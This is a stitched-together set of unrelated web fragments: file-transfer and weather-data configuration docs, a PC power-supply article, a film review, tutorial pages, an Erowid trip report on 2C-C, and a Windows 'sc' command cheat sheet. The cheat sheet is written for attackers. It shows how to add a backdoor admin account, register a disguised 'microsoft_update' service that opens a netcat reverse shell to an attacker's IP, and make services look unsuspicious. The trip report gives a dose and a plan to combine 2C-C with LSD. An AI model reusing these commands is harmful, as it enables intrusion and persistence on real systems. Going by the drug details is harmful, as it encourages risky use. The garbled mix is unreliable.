`$ cd ~/Applications/Aspera\ CLI/bin`
`$ ./ascp -P33001 -i ../etc/asperaweb_id_dsa.openssh -d <directory to upload> bsaspera_w@hx-fasp-1.ebi.ac.uk:<secret directory>`
You will need to extract the downloaded zip file to a directory of your choice and then switch to
the subdirectory bin, e.g.,
`C:\>cd C:\cli\bin`
`C:\cli\bin>ascp.exe -P33001 -i ..\etc\asperaweb_id_dsa.openssh -d <directory to upload> bsaspera_w@hx-fasp-1.ebi.ac.uk:<secret directory>`
where
- `-P33001` and<EMAIL_ADDRESS>defines port, user and server for **Aspera** connection.
- `<directory to upload>` is the path of the directory to be uploaded.
- `<secret directory>` looks like `xx/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx-xxxx` and is shown above.


pqact.conf
Contents
Introduction and General Syntax
A pqact configuration-file (typically pqact.conf) tells the
pqact process that reads it how to dispose of certain classes of
data-products. This file normally resides in the etc/ subdirectory of the
LDM installation.
The general syntax of an entry in the configuration-file is:
feedtype TAB prodIdPat TAB action TAB [arg ...]
where:
- feedtype
- A feedtype (e.g., WMO, IDS|DDPLUS, 3).
- prodIdPat
- An ERE for matching
data-product identifiers or the string ^_ELSE_$. If prodIdPat
is ^_ELSE_$, then the specified action is performed if nothing has been done with the data-product yet
and the first character of the data-product identifier is not an underscore (_).
- action
- The action to take with data-products that match
feedtype and prodIdPat. Possible actions are
- NOOP
- Don't do anything with the data-product. This might be useful to
prevent data-products from being acted-upon by a subsequent entry whose product-ID pattern is
^_ELSE_$.
- FILE
- Write the data-product to a file using the
write() function.
- STDIOFILE
- Write the data-product to a file using the (buffered)
fwrite() function.
- DBFILE
- Write the data-product to a database.
- EXEC
- Execute a program.
- PIPE
- Write the data-product to a program's standard input.
- [arg ...]
- Optional arguments for action. See String Substitution in Action-Arguments
below.
- TAB
- Is either a tab character or a newline character followed by a tab character.
Comments have a hash character (#) in column one.
String Substitution in Action-Arguments
In constructing arguments for an action, certain character sequences have special meaning. These sequences serve
as templates for replacement strings derived from either the combination of the
prodIdPat and the data-product identifier,
from the data-product creation-time, or from the
sequence number.
Simple Subexpression Replacement
The character sequence \x in the argument field is replaced by the substring of the
data-product identifier that matches the corresponding subexpression of
prodIdPat. x is either a single digit greater than 0 and less than or equal
to 9 (e.g., \3) or two digits surrounded by parentheses (e.g., \(12)). Thus, for example, the entry
DDS ^SAUS.. .... (..)(..)
FILE saus_\1\2.wmo
would append all products with a DDS feedtype that have
data-product identifiers (in this case WMO headers) beginning with the
characters "SAUS" to hourly files named "saus_ddhh.wmo", where dd and hh are the two-digit
day and hour from the data-product identifier, respectively.
ASIDE: Information on the format of WMO headers can be found at
https://www.weather.gov/tg/headef
Temporal Subexpression Replacement
If a parenthetical subexpression of prodIdPat delimits the day of the month field
in the data-product identifier, then that subexpression can be used to
obtain certain temporal strings in the argument field. If \n is the matching subexpression, then the
following character sequences in the argument field are replaced with the indicated strings (the parentheses are
mandatory):
- (\x:yyyy)
- is replaced with the 4-digit year.
- (\x:yy)
- is replaced with the 2-digit year of the century.
- (\x:mmm)
- is replaced with the 3-character abbreviation for the month.
- (\x:mm)
- is replaced with the 2-digit index of the month (Jan = 1).
- (\x:ddd)
- is replaced with the 3-digit day of the year.
- (\x:dd)
- is replaced with the 2-digit day of the month. This will differ from the original \x string if, for
example, the day-of-the-month field is 31 but the data-product arrives on September 30th.
where x is as described under "Simple Subexpression Replacement", above (i.e., either a single digit or
two digits surrounded by parentheses).
The interpretation of the day of the month subexpression is aided by the current clock-time in the (hopefully)
obvious way.
Thus, for example, the following entry
WMO ^...... .... ([0-3][0-9])([0-2][0-9]).*/pAGO
FILE data/gempak/nwx/obs/ago/(\1:yyyy)(\1:mm)\1\2.ago
would append matching data-products such as
SHUS44 KAMA 161540 /pAGOAMA
to files whose pathnames were based on the year, month, day, and hour of the
data-product as indicated or implied by the
data-product identifier.
The following characters sequences in the argument field are replaced with the indicated strings based on the
data-product creation-time. The replacement is done using the function
strftime()
, which might have more possibilities than just the following on your system
(e.g., "%N"
might obtain nanoseconds on some systems).
- %a
- is replaced by the locale's abbreviated weekday name.
- %A
- is replaced by the locale's full weekday name.
- %b
- is replaced by the locale's abbreviated month name.
- %B
- is replaced by the locale's full month name.
- %c
- is replaced by the locale's appropriate date and time representation.
- %C
- is replaced by the century number (the year divided by 100 and truncated to an integer) as a decimal number
[00-99].
- %d
- is replaced by the day of the month as a decimal number [01,31].
- %D
- same as %m/%d/%y.
- %e
- is replaced by the day of the month as a decimal number [1,31]; a single digit is preceded by a space.
- %F
- is equivalent to %Y-%m-%d (the ISO 8601:2000 standard date format).
- %h
- same as %b.
- %H
- is replaced by the hour (24-hour clock) as a decimal number [00,23].
- %I
- is replaced by the hour (12-hour clock) as a decimal number [01,12].
- %j
- is replaced by the day of the year as a decimal number [001,366].
- %m
- is replaced by the month as a decimal number [01,12].
- %M
- is replaced by the minute as a decimal number [00,59].
- %n
- is replaced by a newline character.
- %p
- is replaced by the locale's equivalent of either a.m. or p.m.
- %r
- is replaced by the time in a.m. and p.m. notation; in the POSIX locale this is equivalent to %I:%M:%S %p.
- %R
- is replaced by the time in 24 hour notation (%H:%M).
- %S
- is replaced by the second as a decimal number [00,61].
- %t
- is replaced by a tab character.
- %T
- is replaced by the time (%H:%M:%S).
- %u
- is replaced by the weekday as a decimal number [1,7], with 1 representing Monday.
- %U
- is replaced by the week number of the year (Sunday as the first day of the week) as a decimal number
[00,53].
- %V
- is replaced by the week number of the year (Monday as the first day of the week) as a decimal number [01,53].
If the week containing 1 January has four or more days in the new year, then it is considered week 1. Otherwise,
it is the last week of the previous year, and the next week is week 1.
- %w
- is replaced by the weekday as a decimal number [0,6], with 0 representing Sunday.
- %W
- is replaced by the week number of the year (Monday as the first day of the week) as a decimal number [00,53].
All days in a new year preceding the first Monday are considered to be in week 0.
- %x
- is replaced by the locale's appropriate date representation.
- %X
- is replaced by the locale's appropriate time representation.
- %y
- is replaced by the year without century as a decimal number [00,99].
- %Y
- is replaced by the year with century as a decimal number.
- %Z
- is replaced by the timezone name or abbreviation, or by no bytes if no timezone information exists.
- %%
- is replaced by %.
Replacment-String Derived from thesequence number
The string "(seq)
" (without the quotes) in the argument field will be replaced by the
sequence number of the
data-product. This might be useful to differentiate two different products
that, nevertheless, have the same identifiers.
NOOP Action
The NOOP action tells the pqact process to do nothing to the
data-product.This might be useful to prevent data-products from being
acted-upon by a subsequent entry whose product-ID pattern is ^_ELSE_$.
FILE Action
The FILE action tells the pqact process to write the
data-product to a file using the (unbuffered)
write() function.
The syntax of a FILE action is
FILE TAB [-overwrite] [-flush|-close] [-strip] [-log] [-metadata] pathname
where:
- -overwrite
- Causes the file to be completely rewritten every time it is opened; consequently, you should probably always
use the -close option in conjunction with this option.
- -flush
- Causes the fsync() function to be
called after a data-product is written.
- -close
- Causes the file to be closed after a data-product is written. The
default is to keep the file open.
- -strip
- Causes control characters other than newline (see
iscntrl()) to be removed from the
data-product before it is written to the file.
- -log
- Causes the pqact process to log the fact that it filed the
data-product.
- -metadata
- Causes the metadata of the data-product to be written to the file before any data. The metadata is written in
the following order using the indicated binary data-types of the C language:
- Metadata-length in bytes (uint32_t)
- Data-product signature (MD5 checksum) (uchar[16])
- Data-product size in bytes (uint32_t)
- Product creation-time in seconds since the epoch:
- Integer portion (uint64_t)
- Microseconds portion (int32_t)
- Data-product feedtype (uint32_t)
- Data-product sequence number (uint32_t)
- Product-identifier:
- Length in bytes (excluding NUL) (uint32_t)
- Non-NUL-terminated string (char[])
- product-origin:
- Length in bytes (excluding NUL) (uint32_t)
- Non-NUL-terminated string (char[])
- The endianness of the multi-byte primitive types is that of the local host.
- pathname
- Is the pathname of the file to which the data-product will be
written.
STDIOFILE Action
The STDIOFILE action tells the pqact process to write the
data-product to a file using the (buffered)
fwrite() function. In general, this
is more efficient than the FILE action but risks loosing data if the computer crashes.
The syntax of an STDIOFILE action is
STDIOFILE TAB [-overwrite] [-flush|-close] [-strip] [-log] pathname
where the options and argument are the same as for the FILE action, except that the -flush
option calls the fflush()
function.
DBFILE Action
The DBFILE action tells the pqact process to store the
data-product in a gdbm database.
The syntax of a DBFILE action is
DBFILE TAB pathname [key]
where:
- pathname
- Is the pathname of the gdbm database into which the
data-product will be put.
- [key]
- Is the optional key under which to put the data-product.
EXEC Action
The EXEC action tells the pqact process to execute a program as a child
process.
The syntax of a EXEC action is
EXEC TAB [-wait] pathname [arg ...]
where:
- -wait
- Causes the pqact process to suspend itself until the child-process has
terminated before continuing. This should only be done if it is known that the child-process will terminate
quickly.
- pathname
- Is the pathname of the program to be executed.
- [arg ...]
- Are optional arguments to pathname.
PIPE Action
The PIPE action tells the pqact process to execute a program as a child process
and to write the data-product to the standard input of the child
process.
The syntax of a PIPE action is
PIPE TAB [-strip] [-flush|-close] [-metadata] pathname [arg ...]
where:
- -strip
- Causes control characters other than newline (see
iscntrl()) to be removed from the
data-product before it is written to the pipe.
- -flush
- Causes the pqact process to flush its internal buffer to the pipe at the
end of each data-product.
- -close
- Causes the pqact process to close the pipe to the child process after writing
the data-product. The default is to keep the pipe open.
- -metadata
- Causes the metadata of the data-product to be written to the file before any data. The metadata is written in
the following order using the indicated binary data-types of the C language:
- Metadata-length in bytes (uint32_t)
- Data-product signature (MD5 checksum) (uchar[16])
- Data-product size in bytes (uint32_t)
- Product creation-time in seconds since the epoch:
- Integer portion (uint64_t)
- Microseconds portion (int32_t)
- Data-product feedtype (uint32_t)
- Data-product sequence number (uint32_t)
- Product-identifier:
- Length in bytes (excluding NUL) (uint32_t)
- Non-NUL-terminated string (char[])
- product-origin:
- Length in bytes (excluding NUL) (uint32_t)
- Non-NUL-terminated string (char[])
- The endianness of the multi-byte primitive types is that of the local host.
- pathname
- Is the pathname of the program to be executed.
- [arg ...]
- Are optional arguments to pathname.
The program pathname should be written so that it times-out and terminates after some interval
(e.g., ten minutes).
Checking Modifications
Modifications to a configuration-file should be checked for correct syntax before being made operational. The
syntax of all pqact configuration-files that are associated with active
EXEC pqact entries in the LDM configuration-file can be checked via the
command
ldmadmin pqactcheck
Otherwise, the syntax of the single pqact configuration-file, pathname,
can be checked via the command
ldmadmin pqactcheck -p pathname
Limit on the Number of Open Output-Files
The pqact utility has a limit on the number of open output-files. A output-file
is opened for every unique instance of the following actions:
FILE
STDIOFILE
DBFILE
PIPE
when taken together with their action-arguments after string substitution. Thus,
for example, the (somewhat contrived) entry
ANY (.*) FILE \1
would cause an output-file to be opened for every unique
data-product identifier that the
pqact process encountered!
The limit on the number of open output-files is equal to the output of the command
getconf OPEN_MAX | awk '{print $1-3}'
This limit has ramifications for decoding data. When the pqact program
wants to open a new output-file after having reached its limit, it first closes the least recently used
output-file. If the action associated with that output-file is PIPE, then the
decoder process reading from the pipe will encounter an end-of-file condition
and will terminate. As a consequence, decoders must be written so that they can "start-up" in the middle of
decoding a product.
If this is not possible, then more than one pqact(1) utility can be started (each with its own
configuration-file, or course) and the work shared between them so that no one pqact(1) utility reaches the
limit.


{% extends 'base.html' %} {% load static %} {% block style %} {% endblock %} {% block body %}
Timestamp:
Latitude:
Longitude:
Lat/Long Accuracy (in meters):
Altitude (in meters above sea level):
Altitude Accuracy (in meters):
Heading (Degrees from true north):
Speed (in meters/second):


| DOSE: T+ 4:30 |
|
smoked |
Cannabis |
|
| T+ 0:00 |
35 mg |
oral |
2C-C |
(liquid) |
This is my first time with my new unknown 'friend': 2C-C, and I must say it is one of the weirdest experiences I have had, and I am still wondering if it really happened at all....... It is important to note that I don't own an accurate scale, and the dose I ingested was eye-scaled. I assume I ingested around 30-40mg.
To the report:
--------------
12:30 - I mixed about 35mg+ in a small glass of water and drank it. I was warned about the bitter taste, but I didn't notice anything more than a regular chemical-bitterness. The taste was very similar to that of MDMA. No after-taste stayed in my mouth.
* Just about 1-2 min after I drank it, I noticed a weird wave of pleasure rushing through my brain.
13:30 - The only thing I could notice was an odd build-up in my forehead, with no nausea or any discomforts around my body. Though I didn't know exactly what to expect, I was feeling very calm and looking forward for it to kicking in.
14:00 - Noticable effects are very hard to pin-point. I was sitting very comfortably on the couch watching TV, feeling relaxed mentally and physically; yet no visuals whatsoever. Perhaps I was looking the wrong effects?
14:30 - I was wondering if it was going to kick in at all. I thought about increasing the dose, but my friend stopped me from taking more and advised to continue waiting.
15:30 - Still in the weird build-up phase, I was feeling very much like my 'normal' self, yet I could sense something was there.. This feeling followed me during the whole experience. This 'There, but not really there' kind of feeling, which some people called 'tripping without tripping'.. No negative feelings though; I felt very good and absolutely nothing bothered me. My head felt 'empty' in a way, and I didn't think about anything if I decided not to. I found this mind-relaxant effect very efficient for psychotherapy purposes for treating depression or dealing with stress.
16:00 - Very sensational feeling all over my body- a hard feeling to put in words. I noticed some visual distortions, such as faded bright coronas surrounding everything around the livingroom and a very mellow breathing of the walls. Unfortunately, the visuals stopped as fast as they kicked in. I noticed the build-up in my forehead was slowly turning into a headache, followed by tension in my neck area. I tried to avoid thinking about it as I knew 2C's may cause headaches and/or weird pressures in the body.
17:00 - At this time I could tell I was on something. Sitting outside in the garden felt beautiful and very relaxing. When the warm wind was blowing all over my body, a rush of tingly overwhelming pleasure rushed through me. I remember looking at the sun through the trees, which were moving very calmingly with the wind, and seeing many colors pouring out of the sun. Extreme euphoria. We smoked a couple bong rips of cannabis, which made the effect of the 2c-c increase in intensity. And yet, I was feeling very normal at the same time..
18:00 - Increase of senses; colors and objects looked very vivid and bright. I also saw light trails. Feeling lazy and comfortable on the couch again, I had an urge to nap but could not sleep. I had no sense of time (it felt much slower) and I found some difficulties with the memory (eg. I couldn't remember clearly what i was doing before taking the 2c-c, I couldn't remember what i was doing just a few minutes ago, etc etc.). The headache and neck tension were increasing as well. I suspected the headache may have been caused from not drinking enough water, or not eating enough. We ate some pizza, and I had no nausea at all. After I ate and drank some water the headache
decreased for a while, but came back even worse after about 15 minutes. my forehead was a bit warm felt like it was expending with blood. I will also note that on the peak (around 2.5+ hours from taking it), I had some difficulties talking and following basic conversasions. my head seemed to be going somewhere else while i was trying to hear what was said, yet I still didn't feel
like I was tripping.
19:00 - At this point, I couldn't tell where the whole thing was going. Was it going up? Was it coming down? The headache felt horrible, very much like a bad migraine.  I was avoiding taking any kind of painkillers and kept drinking water.
From around 20:30 the effect was appearing and disappearing randomly, and I was extremely annoyed by the headache. At 1:00am I showered for a very long time (or at least for what felt like a very long time).  I entered my bed still feeling odd and in pain. Falling asleep wasn't too hard, and the night followed by very odd and vivid dreams. I slept very deeply, waking up at 11:00 the next morning feeling fresh. By that time my headache was gone completely and I thought to myself 'thank god this one is over.' I smoked a couple pipe hits of cannabis, and could feel the 2C-C hitting back in its own peculiar way.
Overall, it was a pleasant and a fun experience, despite the horrible headache. I am still wondering what caused the headache, but I'm quite sure it was from lack of hydration. The next time I try 2C-C it will be probably mixed with LSD.
I am not disappointed by the experience, but I think I was looking for the wrong effects in it. 2C-C is a very sensational trip with visual aspects at high doses. The sedating feeling is very similar to MDMA or Benzodiazepines.
extra notes:
- Few days after the trip, I still have some visual disturtions.
LSD like visuals such text morphing (especially on the computer screen), and object morphing (extreme bending visuals especially late at night). I suspect its from the 2C-c because it is the only substance I have took in the last 2 months.
Be safe and enjoy!
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Contact us
By phone, email, or social media
phone Call us
mail Email us
Request a call-back
Complete and submit the following form, to have one of our team members get back to you.


Maté Tutorials
You must install Maté before you can go
through its tutorials. The Downloads page has
installation instructions and system
requirements. You should be familiar with the basics
of using TinyOS motes or TOSSIM; if you aren't, we
recommend starting with the TinyOS tutorials, then
returning to Maté. If you do not have TinyOS
motes, you can go through the tutorials using
TOSSIM, the TinyOS simulator.
These tutorials deal predominantly with using
the TinyScript language. The motlle language has
its own tutorial, which can be found in the
languages/motlle directory. We strongly
recommend that you go through these tutorials
before using motlle.
Lesson 1:
Building and Using Maté
In this lesson, you build a provided Maté
VM and programming environment. You install the VM
on a mote (or use TOSSIM) and write a simple program
to test that everything is working properly.
Lesson 2:
An Introduction to TinyScript
This lesson introduces the TinyScript
language. Using the VM from Lesson 1, you write a
series of increasingly complex programs, culminating
in one that sends filtered sensor readings when
light goes over a threshold.
Lesson 3:
Networking
In this lesson, you program a small network of
motes, instead of a single one. Using VM networking
support, you write programs that have motes interact
and collaboratively process data.
Lesson 4:
Building a VM
In this lesson, you build your own VM and
program it. It shows you how to browse and select
from the available triggering events and primitives
to tailor a VM to your application's needs.
Lesson 5:
Adding Functions
This lesson assumes you are familiar and
comfortable with nesC, the TinyOS programming
language. It shows you how to write new functions
for a VM to use. You write a simple arithmetic
function, then a more complex one that blocks a
context as it executes a split-phase operation.
Lesson 6:
Adding Events
This lesson assumes you are familiar and
comfortable with nesC, the TinyOS programming
language. It shows you how to write new event
handlers for a VM to use. You write a new context
component that runs every time a mote sends a
packet.
Last modified: Thu Jul 8 12:11:39 PDT 2004
|


Settings Change the behaviour of the parser
Valid Formatting:
- All fields must be filled in
- length cannot be zero
- offset + length must be at most 64
- dataType is one of state|decimal|string|flag|array
- if dataType is state, offset must be divisible by 8
- if dataType is array, length is the number of elements in array
Changes will not take effect until run is stopped


Space is a virtue when building a PC, especially when working with smaller form factors, and not having all the room you need to build could mean life or death for your gaming rig.
From experience, building in a small form factor case or in a case lacking proper area to move can be detrimental to comfort when building your computer.
And depending on the quality of your case, you could come out with a lot more damage than you bargained for.
To answer the question in short:
You don’t necessarily need a modular power supply, but it sure does help, especially in smaller cases.
If you have the extra money, it’s pretty much always worth it to go modular versus non-modular.
Modular Power Supply Meaning
Modular power supplies are what we like to call a godsend.

A modular power supply does not come with any connected cables out of the box, but it comes with a lot of cables separately.
The best part of a modular power supply is that you use only the cables that you need for your rig because of its detachable cable structure. No more mess, no more stress.
The goal of a modular power supply is to keep all those extra cables that you don’t use out of the way for a number of beneficial reasons, mainly to make the building process easier.
When you don’t have any unused cables hanging out, your build process is better, the overall look of your build is better, and even your airflow will improve with less clutter in the way
Modular Power Supply vs Regular Power Supply: What’s the Difference?
Non-modular power supplies all have a standard number of cables attached that cannot be removed without damaging the unit.
Non-modular power supplies usually come with just enough cables to get by with a low-end build, but can occasionally carry GPU power connectors as well.
These PSUs are generally meant for lower budget builds or mid-range builds that need to cut back the cost on something.
In contrast, modular PSUs make use of removable cables to allow for the best possible configuration for your system.
This does mean that you will be paying quite a bit more to have the luxury.
In the past, modular PSUs tended to run at a significantly higher price than similar non-modular models but it seems like lately, the price gap has narrowed.
This is going purely off of only 80+ Bronze rated power supplies, though, which we do not suggest if you’re already splurging on a modular PSU.
What’s the Difference Between Modular and Semi-Modular PSUs?
Semi-modular power supplies, as the name would suggest, offer a middle ground in the price to utility factor.
Semi-modular power supplies offer the main proprietary cables that are mandatory for any system to function at all, but they also provide removable cables for the inessential parts of your build.
Modular power supplies allow for a full custom configuration of a system which can help with non-standard builds, like crazy multi-PSU setups. Semi-modular power supplies allow for a similar level of customisability while still grounding it in reality.
For example, if you have a build that only uses M.2 SSDs and you don’t need any internal peripherals powered, a semi-modular is 100% the way to go.
These semi-modular options allow for builders to still have most of the benefits of a fully modular power supply without the exorbitant price. As a result, they have become a very popular option in mid-range configurations, but honestly, mid-range doesn’t always mean bad.
Depending on where you purchase your power supply, in some instances we’ve found that going for the fully modular options may result in better savings. Though, this may not always be the case, as prices vary across sites.
In addition, modular power supplies tend to be higher quailty, which means they’ll usually have higher efficiency ratings as well.
Do Fully Modular PSUs Come with Cables?
Now, we’ve heard this question way way way too much so it’s time to put it to rest with a final answer.
Of course fully modular PSUs come with cables! This isn’t some Electronic Arts DLC type bullcrap!
All fully modular PSUs and semi-modular PSUs come with enough cables to fully outfit the unit - sometimes even extra.
If your unit doesn’t come with all the required cables or maybe a duplicate of one while missing another, you can always contact the place of purchase for a refund or replacement.
While it is quite rare that instances like this occur, everyone makes mistakes every once in a while.
We’ll be talking about all the mandatory and voluntary cables that come with PSUs in the next section, so feel free to use it as a guide to making sure that all of the cables for your brand new power supply are in order.
Semi Modular Power Supply Cables: What to Expect
As we’ve said before, semi-modular power supplies offer a middle ground when it comes to versatility.
They include all of the main cables required for running any base system while allowing add-ons for any peripherals you may need, whether it be SSDs, hard drives, or disk drives.
The main cables always include the following:
- An ATX 20/24 pin connector for motherboard power
- The EPS connector for CPU power
- Occasionally a PCIe 6-pin and/or 6+2-pin connector for GPU power
Optional cables tend to include Molex 4-pin connectors (which are currently being phased out) for peripherals such as CD-ROM players and older hard drives, SATA connectors for more modern hard drives, SATA SSDs, and SATA DVD players, and extra PCIe connectors at times.
There are some semi-modular configurations that can subvert the need for the extra cables, bringing out the best of both the non-modular and modular sides.
As we mentioned in the section outlining the differences between modular and semi-modular, M.2 SSDs are a good example.
M.2 SSDs and PCIe SSDs both require no external power input aside from the motherboard and thus can be employed without the use of SATA power connectors.
In short, this means that you can run all of your storage with the rest of the computer’s power, so you won’t need those extra SATA power cables taking up space.
Similarly, running a system that utilizes a low-end GPU or no GPU at all will circumvent the need for the PCIe 6-pin or 6+2-pin connectors.
Look at that, now you’ve got a super clean build, but don’t expect to be running the Cyberpunk 2077 on high anytime soon (at least, not without a dedicated GPU).


Final Scene - Humanity
Larger image
This is my final scene for my project. I'd like you to imagine yourself in a modern art museum in a remote region of the world.  This is the scene you see.
Simply titled Humanity, there are many deep meanings that you can infer from the exhibit. On the left side, everything is clear, as if to represent purity and showcase the beauty of the natural world. Then on the right side, everything is glossy, blurry and cloudy, along with a couple spheres that have the Earth on them. Perhaps this represents humanity's negative effects on the Earth and the environment, and our collective conscience, fuzzy with regret which parallels the atmosphere which we have also clouded with greenhouse gases.
Or maybe I'm just going crazy from lack of sleep. Who knows.
Anyway, in addition, this final scene has all of the previously mentioned objectives:
- Objective 1: Anti-Aliasing
- Entire image is anti-aliased.
- Objective 2: Soft Shadows
- Soft shadows are visible on the floor.
- Objective 3: Refraction
- Refraction is visible in the cubes on the left.
- Refraction is visible in the left sphere in the sky.
- Objective 6: Glossy Reflection
- Glossy reflection is visible in the mirrors on the right building.
- Glossy reflection is visible in the floor.
- Objective 7: Glossy Transmission
- Glossy transmission is visible in the right glass panel in front of the stellated dodecahedron.
- Glossy transmission is visible in the right sphere in the sky.
- Objective 8: Texture Mapping
- Texture mapping is visible in the earth textures of the spheres on the right.
- Texture mapping is visible in the wood texture of the stellated dodecahedron.
- Objective 9: Normal Mapping
- Normal mapping is visible in the golf ball normal map of one of the spheres on the right.
- Normal mapping is visible in the bumpy normal map of the stellated dodecahedron.
Thank you for your time!


The Enhanced Networked Monographs Topic Explorer allows users to search and browse through the full text of open-access books from the University of Michigan Press, the University of Minnesota Press, and NYU Press. The application exposes and visualizes topics derived from back-of-the-book indexes.


# We can use sc to query, configure and manage windows services.
sc qc Spooler
sc config <service> ex: sc config <service> binpath= "net user rottenadmin P@ssword123! /add"
sc create <servicename> binpath= “c:\windows\system32\cmd.exe /k <pathtobinaryexecutable>” DisplayName= <displayname>
sc start <servicename>
sc getkeyname <servicename> Use name from 'net start' to get the 'key name' you want more information on
sc queryex <key> Use key from getkeyname, query status, pid, and other information
Other flags
start= auto
error= ignore
sc description "Windows UDP Processor" "Manages Windows UDP Routing Traffic"
*note: I always try to make things look as un-suspicious as possible hence the "sc description" command to add a description to the service. It's the little things kids.
#The sc utility throws an error each time we start the service with one of our malicious commands in the binpath. This is because the net user and net localgroup commands do not point to the service binary and therefore the SCM cannot communicate with the service. Never fear, however, as the error is thrown only after issuing our malicious commands.
Easy way around this is to have cmd.exe /k <pathtoexe>. The cmd.exe shell will close, but your second launched process will continue to run.
sc create microsoft_update binpath=”cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe” start= auto error= ignore
See Powershell section for managing services in PowerShell
sc sdshow <Service> Displays the security descriptor for a specific service
sc <server> sdset <Service> <SDDL> Changes the security descriptor for a specific service
for sdset, instead of a group, you can use a specific user's full SID like: (A;;RPWP;;;S-1-5-21-3778091102-209736168-4156975864-1108)
Sc Commands
Sc command Description
Sc boot Indicates whether the last boot should be saved as the last-known good boot configuration.
Sc config Modifies the value of a service's entries in the registry and in the Service Control Manager database.
Sc continue Sends a CONTINUE control request to a paused service.
Sc control Sends a control to a service.
Sc create Creates a subkey and entries for the service in the registry and in the Service Control Manager database.
Sc delete Deletes a service subkey from the registry.
Sc description Sets the description string for a service.
Sc enumdepend Lists the services that cannot run unless the specified service is running.
Sc failure Specifies one or more actions to be taken if a particular service fails.
Sc failureflag Specifies whether to trigger recovery actions when a service stops as the result of an error.
Sc getdisplayname Gets the display name associated with a particular service.
Sc getkeyname Gets the key name associated with a particular service, using the display name as input.
Sc interrogate Sends an INTERROGATE control request to a service.
Sc lock Locks the Service Control Manager's database.
Sc pause Sends a PAUSE control request to a service.
Sc qc Queries the configuration information for a service.
Sc qdescription Displays a service's description string.
Sc qfailure Displays the actions that will be performed if the specified service fails.
Sc query Obtains and displays information about the specified service, driver, type of service, or type of driver.
Sc queryex Obtains and displays detailed information about the specified service, driver, type of service, or type of driver.
Sc querylock Queries and displays the lock status for the Service Control Manager database.
Sc sdset Sets a service's security descriptor, using Security Descriptor Definition Language (SDDL).
Sc sdshow Displays a service's security descriptor, using SDDL.
Sc start Starts a service.
Sc stop Sends a STOP control request to a service.


THE SHAWSHANK REDEMPTION A Film Review Copyright Dragan Antulov 2000
One of the great things about movie reviewing is the diversity of opinion. One man's masterpiece is another man's junk, both of them are entitled to express their views and this is how the things are supposed to be. However, the author of this review, although he tries to live by those principles, recollects some situations when he was tempted to sacrifice his personal dissent for the sake of conformity. One of such situations happened with the film which is now considered to be one of the greatest films ever made and which happens to hold top spots in Internet Movie Database polls for years. Sheer numbers - high marks, plenty of people giving those high marks and the amount of time when the film holds the top spot - often give impression of the overwhelming force that single, dissenting reviewer shouldn't oppose. Thankfully, when I first encountered THE SHAWSHANK REDEMPTION, 1994 prison drama by Frank Darabont, I wasn't aware of that. Initial high rating in Internet Movie Database didn't impress me; I thought that the enthusiasm for the film is equal to those that elevated titles like THE ROCK into Top 10 of IMDb and that it would vanish through time. I was wrong, THE SHAWSHANK REDEMPTION is now one of the most popular films of the past decade, but that nevertheless didn't prevent me from keeping maintain my original appraisal of the film.
Frank Darabon't screenplay for THE SHAWSHANK REDEMPTION is based on the Stephen King's story RITA HAYWORTH AND THE SHAWSHANK REDEMPTION, Plot begins in 1946 when young Portland banker Andy Dufresne (played by Tim Robbins) gets sentenced to life imprisonment for the murder of his wife and her lover. Dufresne maintains his innocence but for the next few decades he would have to deal with more practical issues in Shawshank prison, all observed through the eyes of Ellis Boyd "Red" Redding (played by Morgan Freeman), another "lifer" who runs prison's black market and who would gradually become Dufresne's best friend. For the first years of his imprisonment, quiet ex-banker is ridiculed by general prison population and often assaulted by the gang of prison rapists led by Bogs (played by Mark Ralston). His fortune changes when he offers his accounting services to sadistic prison guard Captain Byron Handley (played by Clancy Brown). Soon his boss, Bible- thumping yet utterly corrupt warden Samuel Norton (played by Bob Gunton) hires Dufresne as his personal accountant, and in exchange for his help with embezzlement, kickbacks, tax evasion and other illegal activities, he gets library job and other privileges. But Dufresne also uses his new position in order to improve the prison library and help making life easier for other prisoners. However, although the life behind bars gets better through the years, Dufresne doesn't stop dreaming about freedom.
At first glance, THE SHAWSHANK REDEMPTION looks like a very good film and could be hardly associated with first-time director. The dark, depressive atmosphere of the prison affects the viewers through the efforts of cinematographer Roger Deakins, soundtrack composer Thomas Newman and good use of old, defunct real life prison locations. The acting is also great. Tim Robbins is good as quiet, enigmatic character whose agenda remains the mystery until the very end, while Freeman gives truly superb performance as cynical prisoner who is going to experience change of heart. Two of them have great chemistry together, but the supporting cast is also very good and it ranges from veterans like James Whitmore in very touching role of an old "institutionalised" prisoner to Bob Gunton who often played villains, but hardly so convincingly as in this film. But the best thing about THE SHAWSHANK REDEMPTION is Darabont's decision to employ old-fashioned film techniques and not allow time constraints to stand in the way of the storytelling. His indirect approach, based on narration and quick flashbacks, works fine in this film, allowing the audience to envision decades spent behind bars more easily.
Taking all this into account, the author of this often wondered whether his disappointment with THE SHAWSHANK REDEMPTION had something to do with the subject matter and the prison experience from his own past. However, after a while, I came to the conclusion that there isn't direct connection between the two. Fortunately, my time behind bars was negligibly short compared with the protagonists of this film and circumstances were completely different. So, the reasons why I don't share other people's enthusiasm for this film come from my perception of flaws in the film itself. First, although the characters in this film are memorable, they nevertheless belong to prison movie cliches - sadistic guards, gang rapists, corrupt warden, protagonist's mentor who "runs" the prison. Cliches later come in some scenes that are supposed to be "meaningful" (like Dufresne playing Mozart via loudspeakers) but in the end look trite and overmanipulative. All that culminates in the last segments of the film when Darabont tries too hard to wrap things up with a neat little happy ending, which comes at the expense of realism and looks too much like a deus ex machina. So, what was supposed to be gritty but uplifting prison drama ends like a standard Hollywood fairytale. However, THE SHAWSHANK REDEMPTION is terribly overrated, but its pluses nevertheless outweigh minuses so the potential audience shouldn't be discouraged from watching it and making their own mind about its quality.
RATING: 6/10 (++)
Review written on October 24th 2000
Dragan Antulov a.k.a. Drax Fido: 2:381/100 E-mail<EMAIL_ADDRESS>E-mail<EMAIL_ADDRESS>E-mail<EMAIL_ADDRESS>Filmske recenzije na hrvatskom/Movie Reviews in Croatian http://film.purger.com
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Launch demo wizard modal
×
Modal Wizard Form 1
Content of Wizard model Form 1
×
